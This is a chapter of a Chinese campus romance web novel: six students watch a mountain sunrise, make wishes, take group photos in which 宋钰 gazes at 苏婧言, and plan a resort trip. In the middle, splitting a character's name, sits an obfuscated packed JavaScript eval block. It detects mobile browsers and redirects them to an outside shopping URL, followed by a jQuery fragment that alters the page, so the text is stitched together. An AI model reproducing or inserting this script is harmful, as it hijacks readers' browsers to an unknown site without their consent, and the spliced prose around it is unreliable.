苏婧言不知道自己是什么时候睡着的，只记得自己盯着帐篷顶那道月光看了很久，久到眼睛酸涩，久到意识开始模糊。
后来月光不知道什么时候移走了，帐篷里陷入一片黑暗，她就在那片黑暗中沉了下去。
梦里全是梧桐叶。
金黄色的，一片一片，从天上纷纷飘下来，像是一场没有尽头的雨。
苏婧言站在这场金色的雨里，穿着一件蓝布旗袍，外面罩着薄薄的针织开衫。
忽然有人喊她。
“婧言——婧言——”
那声音从很远的地方传来，穿过层层叠叠的梧桐叶，穿过时光的河流，穿过了不知道多少年。
“苏婧言！苏婧言！起来了起来了！看日出了！”焦姣的声音把她从梦境里彻底拽了出来。
苏婧言猛地睁开眼睛，摸出手机看了一眼，五点二十。
“快点快点！太阳要出来了！”焦姣已经在帐篷外面了，声音里带着压抑不住的兴奋。
苏婧言坐起来，头发乱得不像话，脸上还有睡袋压出来的印子。她随便用手拢了拢头发，拉开帐篷的拉链，钻了出去。
山顶的清晨，气温大概只有几度，呼出的气都变成了白色的雾。草地上结了一层薄薄的白霜，踩上去发出细微的咔嚓声，特别像踩在碎玻璃上。
苏婧言打了个哆嗦，缩了缩脖子，她穿得不多，冲锋衣里面只有一件薄T恤，寒意从四面八方涌过来，感觉有无数根细小的针扎在皮肤上。
李明坤蹲在已经熄灭的篝火旁边，正在重新生火，他手里拿着打火机，一下一下地按着，火星溅出来，落在干草上，干草冒出一缕青烟，慢慢燃起一小簇火苗。
李明坤小心翼翼地往火苗上添细树枝，一根一根地放，怕压灭了那点微弱的火。
焦姣站在他旁边，双手插在口袋里，打了个大大的哈欠：“几点了？”
李明坤：“五点半了。”
“太阳什么时候出来啊？”
“应该快了吧。”
糖浆和文蕙也陆续出来了。
糖浆的头发翘起来一撮，睡眼惺忪地走到篝火旁边，蹲下来烤火，整个人缩成一团，文蕙跟在他的身后，肩上披着一条毯子。
苏婧言环顾了下四周，发现少了一个人。
宋钰呢？
她正要开口问，帐篷的拉链声响了。
宋钰从帐篷里钻出来，穿了一件深灰色的卫衣，帽子没有戴，头发被晨风吹得微微晃动。他的眼睛还没有完全睁开，睫毛微微颤着，貌似不太适应外面的光线。
东方的天际，灰白色变成淡粉色，淡粉色变成橘红色，橘红色变成金黄色，一层一层地往上晕染，光从温柔变得耀眼。
焦姣指着天空：“快看！太阳要出来了！”
金色的光从地平线上涌出来，如同潮水一样淹没了整片天空，那些粉色、橙色、金色的云在一瞬间被点燃，变成了燃烧的火焰，在天边跳动、翻滚。
焦姣：“我们快许愿吧！对着日出许愿特别灵。”
“不该是流星吗？”李明坤喃喃道。
焦姣“啧”了一声，李明坤立刻闭紧嘴巴。
焦姣双手合十，闭上眼睛，对着太阳的方向，喊得很大声：“我希望能顺利毕业！”她的声音在山顶回荡开来，惊起了几只栖在树上的鸟，扑棱扑棱地飞走了。
李明坤看着她，嘴角浮起一个无奈的笑，也学着她的样子，双手合十，闭上眼睛：“希望我和焦姣能从校服到婚纱。”
“谁要嫁给你呀！”焦姣睁开眼瞪他。
李明坤一脸无辜：“许愿不就是许自己想要的吗？”
他停顿了一下，声音突然变小，像是只说给一个人听的：“那我希望焦姣天天开心。”
焦姣愣了下后，别过脸去，假装在看远处的山。但苏婧言看到她笑了，笑得很甜，嘴角怎么都压不下去。
文蕙站到前面的时候，有点紧张，嘴唇动了动，像是不知道该说什么。
她犹豫了会儿，深吸一口气，双手拢在嘴边，用自己最大的声音喊道：“我希望——大家都能幸福。”
糖浆站在后面，看着文蕙的背影，“我希望……大家都能实现自己的愿望。”他的声音被风拉得很长，飘向远方。
苏婧言也闭上眼睛，面向太阳，双手合十，阳光照在她脸上，暖暖的，她的声音不大，但很认真：“我希望所有人都身体健康，平安喜乐。”
宋钰一直没说话，苏婧言转头看向他，“你怎么不许愿呐？”
宋钰沉默片刻：“我的愿望已经实现了。”他抬起头，太阳已经完全升起来了。
万物红尘之上，光芒万丈。
“我们来拍张合照吧！”焦姣从口袋里掏出手机，举起来，对着六个人调整角度。
她后退了几步，想把所有人都框进镜头里，但后退得有点多，差点被一块石头绊倒，李明坤眼疾手快地扶住了她。
“你小心点。”李明坤的语气里有自己都未意识到的紧张。
焦姣若无其事地站直了身子，继续调整手机的角度。
“都准备好了吗？三、二、一——”
咔嚓。
六个人的笑容定格在这个美丽的金色清晨。
焦姣比了一个剪刀手，李明坤站在她后面，嘴角咧得很开，露出两排整齐的牙齿。
糖浆站在最左边，表情有点拘谨，文蕙在他旁边，身体微微向他的方向倾斜了一点，只是一点点，不仔细看根本发现不了。
宋钰站在最右边，旁边是苏婧言。
苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552104|204281||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婧言在照片里的样子，笑得很开心，眼睛弯弯的，她的肩膀离宋钰的胳膊很近，几乎要贴在一起。
焦姣拍完第一张，检查了下照片，突然叫起来：“宋钰学长！你看镜头啊！你看哪儿呢？”
照片里，所有人都在看镜头，只有宋钰在侧着头看她，嘴角带着一抹浅笑。
旁边的李明坤看了看照片，又抬头看了看苏婧言和宋钰，露出一个意味深长的笑。
“我觉得这张照片拍得挺好的。”李明坤把手机屏幕转向大家。
所有人都看到了。
金色的晨光里，宋钰没有看镜头，他在看苏婧言。
那个眼神，温柔得不像话。
苏婧言的脸瞬间红了。
“重拍重拍！”焦姣举起手机：“宋钰学长，这次看镜头啊！”
第二张照片，宋钰看镜头了。
但苏婧言注意到，在快门按下的前一刻，他的目光从镜头移到了她身上，又迅速移了回去。
那个动作很快，快到几乎没有人看到。
但苏婧言看到了。
因为她也在看他。
看完日出，六个人开始收拾东西，准备下山。
焦姣和李明坤在前面斗着嘴，糖浆和文蕙走在中间，两个人安静地推着车，偶尔说一两句话，声音被风吹散，苏婧言和宋钰走在最后面。
下山的路比上山好走多了，不需要用力蹬，只需要控制好刹车，让车轮自己往下滚。
风从耳边呼呼地吹过，路两边的树飞快地往后退，像是一幅流动的画。
到了山脚，六个人在路口停下来，讨论回学校的事。
“就这么回去啊？”焦姣不情不愿：“十一才刚开始，回学校多没意思呀。”
“怎么说？”李明坤抬头。
“我从网上看到山下附近有一个度假村，评价很好的，可以骑马、打台球、开卡丁车，咱们去玩两天呗！”
李明坤“啊”了声：“你什么时候看的？”
“就刚才啊……”焦姣理直气壮：“我做事从不提前计划，临时起意才有意思嘛！”
苏婧言忍不住笑了。
焦姣这个人，最大的优点就是想一出是一出，最大的缺点也是想一出是一出。
“你确定现在能订到房间？”苏婧言提出疑问：“十一长假，度假村肯定很难抢吧？”
焦姣拿出手机，飞速地操作了几下，“我查了！还有房！两间套房，正好够咱们六个人住！”
糖浆想了想：“可以。”
文蕙也点了点头。
苏婧言：“我没问题。”
焦姣：“宋钰学长？”
“好。”
“OK！那就全票通过！”焦姣摆出“向前冲”的姿势，“出发！”